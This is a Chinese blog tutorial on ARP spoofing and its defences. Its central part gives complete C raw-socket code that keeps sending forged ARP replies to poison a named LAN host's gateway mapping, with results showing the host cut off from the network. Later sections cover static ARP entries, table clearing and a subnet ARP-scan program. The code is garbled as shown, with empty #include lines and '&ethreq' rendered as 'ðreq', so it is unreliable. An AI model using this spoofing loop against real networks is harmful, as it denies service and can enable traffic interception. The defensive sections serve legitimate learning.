ARP欺骗与防欺骗

ARP是什么?

ARP(address resolution protocol)中文名叫地址解析协议,他的作用是通过IP地址解析出MAC地址。

具体的解释:每一个网卡都有一张ARP表,表中的每一行存放着目标IP地址和MAC地址,表中第一列就是IP地址,第二列是MAC地址,第三列是类型

在Windows下,通过运行cmd程序,输入arp -a命令,可以获取当前电脑的所有网卡的arp表

见下图:

第一步、直接搜索cmd或者命令提示符,会弹出来命令提示符程序,鼠标右键运行(建议管理员运行,因为删除arp表需要管理员权限)

ARP欺骗与防欺骗_第1张图片

或者直接按键盘窗口键(win)+R,可以打开运行弹窗,然后输入cmd命令,点击确定,打开命令终端

ARP欺骗与防欺骗_第2张图片

 第二步、在命令行终端输入arp -?

可以获取arp的帮助命令,见下图

ARP欺骗与防欺骗_第3张图片

在命令行终端输入arp -a,可以获取当前主机所有网卡的arp表(很详细),见下图:想的美,没有哦,寄几看寄几滴~

基于Linux内核的Ubuntu系统查看arp表:

Ubuntu系统下arp表跟Windows下命令基本差不多

Ubuntu系统下打开控制终端输入arp -?,查看帮助

ARP欺骗与防欺骗_第4张图片

 敲重点:arp协议的目的是为了建议IP地址与MAC地址的映射,因为在局域网内不同主机通信是通过IP地址寻找网卡的MAC地址,然后才能完成通信。

ARP协议的报文格式:

ARP欺骗与防欺骗_第5张图片

以上是ARP报文的固定格式

 ARP的欺骗目的有多种原因,但是欺骗的效果无非就两种,一种是单纯的让对方上不了网,通过获取对方的IP和MAC,然后获取到对方所在的网关,将对方的网关与其MAC的映射关系破坏掉,破坏很简单,就是将对方的MAC替换别的,这样对方的主机就找不到网络了。(因为在局域网内任何一个主机都要经过网关来与其它主机通信),另外一种就牛逼了!!!

另外一种就是让他能上网,但是可以实现断断续续的攻击,让对方一会可以上网一会不能上网,这只是其中一种攻击手段,另外一个攻击手段是让它正常上网,但是它所访问的所有网页等消息都会传递到攻击者的主机上,目的是为了实现监控等其他目的,这个是我的猜想,我也不会~~~~,有会的大神可以来教教我呀~,菜鸟允许你隔着网络摸鸟头。。

ARP欺骗的实现过程

1、想做到欺骗首先得知道对方主机的IP和MAC,包括对方主机所在的网关,然后就可以准备实现ARP欺骗了。

获取对方主机的IP和MAC,还有网关,有多种途径,这里就列举最常见的方式,

想办法和对方主机在同一个网关内,然后通过arp -a命令获取到所有主机的IP地址和MAC地址映射关系,然后自己想办法获取到对方主机的IP,比如抓包等等,这里看你了,我是直接问的,哇哈哈哈哈!!

开玩笑的,我连问都没问,我寄几搞寄几~

这里我以两个Ubuntu系统为例

然后我是在10.9.72.1网关的局域网内实现ARP攻击

两个ubuntu系统,分别是10.9.72.99,和10.9.72.105

10.9.72.99的网卡的信息:

ARP欺骗与防欺骗_第6张图片

10.9.72.105的网卡信息:

ARP欺骗与防欺骗_第7张图片

 2、信息都掌握了,接下来就是实施ARP欺骗了

这里我设置攻击10.9.72.105的主机让其不能上网

这里先上代码和效果图

#include 
#include        //socket
#include         //htons
#include     //ETH_P_ALL
#include  //struct sockaddr_ll
#include            //struct ifreq
#include            //strncpy
#include         //ioctl
#include            //close _exit
void my_sendto(int sockfd, void *buf, int len, char *name);

int main(int argc, char const *argv[])
{
    // 1、创建原始套接字
    int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

    // 2、构建arp请求报文
    unsigned char buf[] = {
        /*-------mac头-------14B--*/
        0x00, 0x0c, 0x29, 0x0f, 0xa4, 0x1e, /*目的mac 被攻击的人的windows的mac*/
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /*假的mac*/
        0x08, 0x06,                         /*mac的类型 arp协议*/
        /*--------ARP头------28B--*/
        0x00, 0x01,                         /*硬件类型*/
        0x08, 0x00,                         /*协议类型*/
        6,                                  /*硬件地址长度*/
        4,                                  /*协议地址长度*/
        0x00, 0x02,                         /*arp应答*/
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /*假的mac*/
        10, 9, 72, 1,                       /*被攻击的人的arp表中的网关的IP*/
        0x00, 0x0c, 0x29, 0x0f, 0xa4, 0x1e, /*目的mac 被攻击的人的windows的mac*/
        10, 9, 72, 105                      /*被攻击人的windows的IP*/
    };
    while (1)
    {
        my_sendto(sockfd, buf, 42, "eth0");
        sleep(1);
    }
    return 0;
}

void my_sendto(int sockfd, void *buf, int len, char *name)
{
    // 3、发送arp请求报文
    struct sockaddr_ll sll;
    bzero(&sll, sizeof(sll));
    // 获取本地接口
    struct ifreq ethreq;
    strncpy(ethreq.ifr_name, name, IFNAMSIZ);
    if (-1 == ioctl(sockfd, SIOCGIFINDEX, ðreq))
    {
        perror("ioctl");
        close(sockfd);
        _exit(-1);
    }
    sll.sll_ifindex = ethreq.ifr_ifindex;
    int ret = sendto(sockfd, buf, len, 0, (struct sockaddr *)&sll, sizeof(sll));
    if (ret < 0)
    {
        perror("sendto");
        _exit(-1);
    }
}

未攻击之前10.9.72.105状态:

网关ping通

ARP欺骗与防欺骗_第8张图片

 能访问外网ARP欺骗与防欺骗_第9张图片

运行以上  .c  代码之后:

 ARP欺骗与防欺骗_第10张图片

网关ping不通了

 ARP欺骗与防欺骗_第11张图片

 网页也卡在连接上了

 ARP欺骗与防欺骗_第12张图片

 解除攻击之后就正常。

重点来了,如何预防MAC欺骗呢?

根据代码可以知道目标主机10.9.72.105之所以上不了网,是因为他修改了目标主机的MAC和网关的映射关系,我们只需要防止攻击者篡改主机的MAC和网关的映射关系就可以了

正所谓魔高一尺,道高一丈,因与果循环。

哈哈哈,

防止ARP欺骗的方法有很多,比如隐藏IP和MAC,设置静态IP与MAC,IP与MAC绑定,

设置官关与MAC映射类型为静态,ARP防火墙,ARP程序等。

这里列举几个:

1、arp -d 删除所有的ARP表内容

刚开始有很多ARP表项

ARP欺骗与防欺骗_第13张图片

 运行arp -d后

ARP欺骗与防欺骗_第14张图片

只有一些了,这里解释下,之所以没有为空,是因为主机一直在通信,清空ARP表之后,因为主机进程一直在通信,所以arp协议会广播,重新获取MAC,也就是说ARP表是时刻在刷新中。

arp -d 删除指定IP,然后重新访问,就会触发ARP表刷新

这个办法治标不治本

ARP欺骗与防欺骗_第15张图片

运行命令arp -d 10.9.72.27,之后通过arp -a查看arp表,找不到10.9.72.27的表项了,然后ARP协议会重新广播获取,之所以说治标不治本,是因为攻击者很可能不止攻击一次,有可能多重攻击,所以即使刷新,MAC也会很快被篡改 。如果设置不停arp -d 寄几就把寄几断网了哟。

ARP欺骗与防欺骗_第16张图片

 2、通过设置静态IP和静态MAC

这个方法我觉得阔以,能阻绝菜鸟攻击者

在终端用管理员权限sudo来输入命令 sudo arp -i 你的网卡名字 -s 网关的IP地址  网关的MAC地址

设置为静态之后,攻击者就无法攻击了。

ARP欺骗与防欺骗_第17张图片

攻击者正在循环攻击10.9.72.105主机

 ARP欺骗与防欺骗_第18张图片

但是被攻击的10.9.72.105主机一切正常 ,能ping通网关也能访问外网

 ARP欺骗与防欺骗_第19张图片

ARP欺骗与防欺骗_第20张图片

 3、通过程序分别实现主机IP和MAC绑定、网关IP和MAC绑定

这里我就介绍下Antiarp.exe

AntiARPSniffer是一款反ARP欺骗攻击软件。该软件100%防御所有利用ARP技术的恶意程序,发现疑常并能自动重写ARP数据;具备追踪ARP攻击者的功能,能够追踪到对方的IP地址;自动修复ARP数据,并保持网络永不中断。

Download AntiARP

最后 获取局域网内IP和对应的MAC映射关系,还有网关等等信息的相关arp命令和代码

WIndows下获取网关、IP等信息

获取自己的网卡相关信息命令:ipconfig/all

ARP欺骗与防欺骗_第21张图片

获取局域网内的所有IP和对应的MAC信息:arp -a

ARP欺骗与防欺骗_第22张图片

Ubuntu下获取IP、MAC等相关信息

获取自己网卡相关信息:ifconfig

ARP欺骗与防欺骗_第23张图片

 获取局域网内所有IP和对应的MAC等相关信息:arp -a

只能获取网关部分,不像WIndow那样全显示,需要多次使用arp -a命令

获取IP与MAC也可以通过代码来实现

#include 
#include        //socket
#include         //htons
#include     //ETH_P_ALL
#include  //struct sockaddr_ll
#include            //struct ifreq
#include            //strncpy
#include         //ioctl
#include            //close _exit
#include 
pthread_t tid;
void my_sendto(int sockfd, void *buf, int len, char *name);

void *recv_arp_fun(void *arg)
{
    // 4、接收对方的应答
    int sockfd = *(int *)arg;
    while (1)
    {
        unsigned char buf[1500] = "";
        unsigned short op;
        char src_ip[16] = "";
        char src_mac[18] = "";
        int len = recvfrom(sockfd, buf, sizeof(buf), 0, NULL, NULL);
        if (len > 0)
        {
            // 判断是否是arp报文
            unsigned short mac_type = ntohs(*(unsigned short *)(buf + 12));
            if (mac_type == 0x0806) // arp报文
            {
                // 是不是arp应答
                op = ntohs((*(unsigned short *)(buf + 20)));
                if (op == 2) // arp的应答
                {
                    sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
                            buf[22 + 0], buf[22 + 1], buf[22 + 2], buf[22 + 3], buf[22 + 4], buf[22 + 5]);

                    sprintf(src_ip, "%d.%d.%d.%d", buf[28 + 0], buf[28 + 1], buf[28 + 2], buf[28 + 3]);
                    printf("%s---->%s\n", src_ip, src_mac);
                }
            }
        }
    }
    return NULL;
}
int main(int argc, char const *argv[])
{
    // 1、创建原始套接字
    int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

    // 2、创建线程 接收ARP应答

    pthread_create(&tid, NULL, recv_arp_fun, &sockfd);
    pthread_detach(tid);

    int i = 0;
    for (i = 1; i < 255; i++)
    {
        // 2、构建arp请求报文
        unsigned char buf[] = {
            /*-------mac头-------14B--*/
            0xff, 0xff, 0xff, 0xff, 0xff, 0xff, /*目的mac*/
            0x00, 0x0c, 0x29, 0x02, 0x6e, 0x5f, /*源mac ubuntu的mac*/
            0x08, 0x06,                         /*mac的类型 arp协议*/
            /*--------ARP头------28B--*/
            0x00, 0x01,                         /*硬件类型*/
            0x08, 0x00,                         /*协议类型*/
            6,                                  /*硬件地址长度*/
            4,                                  /*协议地址长度*/
            0x00, 0x01,                         /*arp请求op*/
            0x00, 0x0c, 0x29, 0x02, 0x6e, 0x5f, /*源mac ubuntu的mac*/
            10, 9, 72, 99,                      /*源IP*/
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /*目的mac*/
            10, 9, 72, i                        /*目的主机的IP*/
        };

        my_sendto(sockfd, buf, 42, "eth0");
    }

    // 延时几秒 关闭接收线程
    sleep(5);
    pthread_cancel(tid);

    return 0;
}

void my_sendto(int sockfd, void *buf, int len, char *name)
{
    // 3、发送arp请求报文
    struct sockaddr_ll sll;
    bzero(&sll, sizeof(sll));
    // 获取本地接口
    struct ifreq ethreq;
    strncpy(ethreq.ifr_name, name, IFNAMSIZ);
    if (-1 == ioctl(sockfd, SIOCGIFINDEX, ðreq))
    {
        perror("ioctl");
        close(sockfd);
        _exit(-1);
    }
    sll.sll_ifindex = ethreq.ifr_ifindex;
    int ret = sendto(sockfd, buf, len, 0, (struct sockaddr *)&sll, sizeof(sll));
    if (ret < 0)
    {
        perror("sendto");
        _exit(-1);
    }
}

获取到的IP与MAC

ARP欺骗与防欺骗_第24张图片

 注意:发送ARP请求的时候

struct sockaddr_ll sll;//定义一个获取本机接口信息的结构体变量
bzero(&sll, sizeof(sll));//清零

  需要注意使用bzero函数将结构体清零,原因是上一次获取的目标主机的MAC等数据存储在结构体内,如果不清零,就会报参数无效错误。

另外这里使用

unsigned char buf[] = {};//用来存储构建好的ARP请求报文

 然后传实参给自定义的my_sendto()函数

注意自定义my_sendto()函数实现,传入的是一个void *buf,他是一个通用类型的指针,可以指向任何一个类型,能够灵活的传递不同类型的指针。又称万能指针,这里之所以使用它,是因为在网络上MAC是int 类型的数值,而不是XX:XX:XX:XX:XX:XX字符串,输出到终端的就是字符串。

ARP请求报文代码:

获取局域网的所有MAC,除了构建的ARP请求报文代码,其余都是通配的。

这段代码只需要更改变化的部分。

ARP欺骗与防欺骗_第25张图片

 注意硬件类型是1,即仅仅适合于以太网。

以上仅仅是对ARP协议的浅浅介绍,后面会详细介绍

你可能感兴趣的:(网络,服务器,linux)